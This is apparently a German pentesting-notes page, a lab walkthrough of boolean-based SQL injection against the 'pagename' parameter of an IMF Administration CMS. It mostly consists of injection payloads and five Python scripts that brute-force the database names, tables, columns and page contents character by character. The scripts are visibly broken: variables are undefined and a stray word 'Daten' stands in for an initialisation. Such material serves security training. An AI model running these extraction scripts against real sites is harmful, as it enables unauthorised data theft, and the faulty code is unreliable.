> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-pagename-pentesting-web.md).
# SQLi Pagename
## SQL-Injection:
**Erkennung einer SQL-Injection-Schwachstelle** Beim Hinzufügen eines Apostrophs im Feld "home" erscheint ein SQL-Fehler, was auf eine mögliche Verwundbarkeit gegenüber einem SQL-Injection-Angriff hinweist.
**Ausnutzung der SQL-Injection-Schwachstelle** Durch Eingabe der SQL-Injection `/cms.php?pagename=home' or '1'='1`, kein Fehler erscheint, was die Schwachstelle bestätigt.
**Extraktion des Datenbanknamens mit Substring** Nun verwenden wir mit diesem Einstiegspunkt den **substring** Parameter, um die Zeichen des Datenbanknamens zu ermitteln, indem wir Buchstaben eingeben, bis die Fehler verschwinden. Hier ist ein Beispiel für die ersten drei Zeichen:
* Erster Buchstabe: `/cms.php?pagename=home' or substring(database(),1,1)='a`
* Zweiter Buchstabe: `/cms.php?pagename=home' or substring(database(),2,1)='d`
* Dritter Buchstabe: `/cms.php?pagename=home' or substring(database(),3,1)='m` Zuerst kann ein Python-Skript den gesamten Prozess automatisieren, um **den Namen der Datenbank**.
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
print("/n/n[!] Exiting.../n")
sys.exit(1)
#Strg +c
signal.signal(signal.SIGINT, def_handler)
#Globale Variablen
characters = string.ascii_lowercase
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
headers = {
'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
}
""
p1 = log.progress("SQLI")
p1.status("Starte SQL-Injection...")
time.sleep(2)
Daten
for position in range(1, 6 ):
for character in characters:
sqli_url = main_url + "home' or substring(database(),%d,1)='%s" % (position, character)
r = requests.get(sqli_url, headers=headers)
if "Welcome to the IMF Administration." not in r.text:
data += character
p2.status(data)
break
p1.success("Brute-Force-SQLI abgeschlossen")
p2.success(data)
if __name__ == '__main__':
sqli()
Dann kann ein Python-Skript den gesamten Prozess automatisieren, um **die Namen** aller Datenbanken zu ermitteln.
```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
print("/n/n[!] Exiting.../n")
sys.exit(1)
#Strg +c
signal.signal(signal.SIGINT, def_handler)
#Globale Variablen
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
headers = {
'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
}
""
p1 = log.progress("SQLI")
p1.status("Starte SQL-Injection...")
time.sleep(2)
Daten
for position in range(1, 100):
for character in characters:
sqli_url = main_url + "home' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
r = requests.get(sqli_url, headers=headers)
if "Welcome to the IMF Administration." not in r.text:
data += character
p2.status(data)
break
p1.success("Brute-Force-SQLI abgeschlossen")
p2.success(data)
if __name__ == '__main__':
sqli()
```
Nun kann ein Python-Skript den gesamten Prozess automatisieren, um **die Namen der Tabellen zu ermitteln** der Datenbanken (admin).
```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
print("/n/n[!] Exiting.../n")
sys.exit(1)
#Strg +c
signal.signal(signal.SIGINT, def_handler)
#Globale Variablen
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
headers = {
'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
}
""
p1 = log.progress("SQLI")
p1.status("Starte SQL-Injection...")
time.sleep(2)
Daten
for position in range(1, 100):
for character in characters:
sqli_url = main_url + "home' or substring((select group_concat(table_name) from information_schema.tables where table_schema='admin'),%d,1)='%s" % (position, chara
cter)
r = requests.get(sqli_url, headers=headers)
if "Welcome to the IMF Administration." not in r.text:
data += character
p2.status(data)
break
p1.success("Brute-Force-SQLI abgeschlossen")
p2.success(data)
if __name__ == '__main__':
sqli()
```
Nun kann ein Python-Skript den gesamten Prozess automatisieren, um **die Namen der Spalten zu ermitteln** der Datenbanken (admin).
```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
print("/n/n[!] Exiting.../n")
sys.exit(1)
#Strg +c
signal.signal(signal.SIGINT, def_handler)
#Globale Variablen
characters = string.ascii_lowercase + "_,:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
headers = {
'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
}
""
p1 = log.progress("SQLI")
p1.status("Starte SQL-Injection...")
time.sleep(2)
Daten
for position in range(1, 100):
for character in characters:
sqli_url = main_url + "home' or substring((select group_concat(column_name) from information_schema.columns where table_schema='admin' and table_name='pages'),%d,1
)='%s" % (position, character)
r = requests.get(sqli_url, headers=headers)
if "Welcome to the IMF Administration." not in r.text:
data += character
p2.status(data)
break
p1.success("Brute-Force-SQLI abgeschlossen")
p2.success(data)
if __name__ == '__main__':
sqli()
```
Nun kann ein Python-Skript den gesamten Prozess automatisieren, um **den Inhalt zu ermitteln** der Spalte pagename der Datenbank (admin).
```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string
def def_handler(sig, frame):
print("/n/n[!] Exiting.../n")
sys.exit(1)
#Strg +c
signal.signal(signal.SIGINT, def_handler)
#Globale Variablen
characters = string.ascii_lowercase + "$%-/_,;:" + string.digits
main_url = "http://192.168.71.140/imfadministrator/cms.php?pagename="
def sqli():
headers = {
'Cookie': 'PHPSESSID=g2dt1a46m4f3qmgnfcuev3qts3'
}
""
p1 = log.progress("SQLI")
p1.status("Starte SQL-Injection...")
time.sleep(2)
Daten
for position in range(1, 500):
for character in characters:
sqli_url = main_url + "home' or substring((select group_concat(pagename) from pages),%d,1)='%s" % (position, character)
r = requests.get(sqli_url, headers=headers)
if "Welcome to the IMF Administration." not in r.text:
data += character
p2.status(data)
break
p1.success("Brute-Force-SQLI abgeschlossen")
p2.success(data)
if __name__ == '__main__':
sqli()
```
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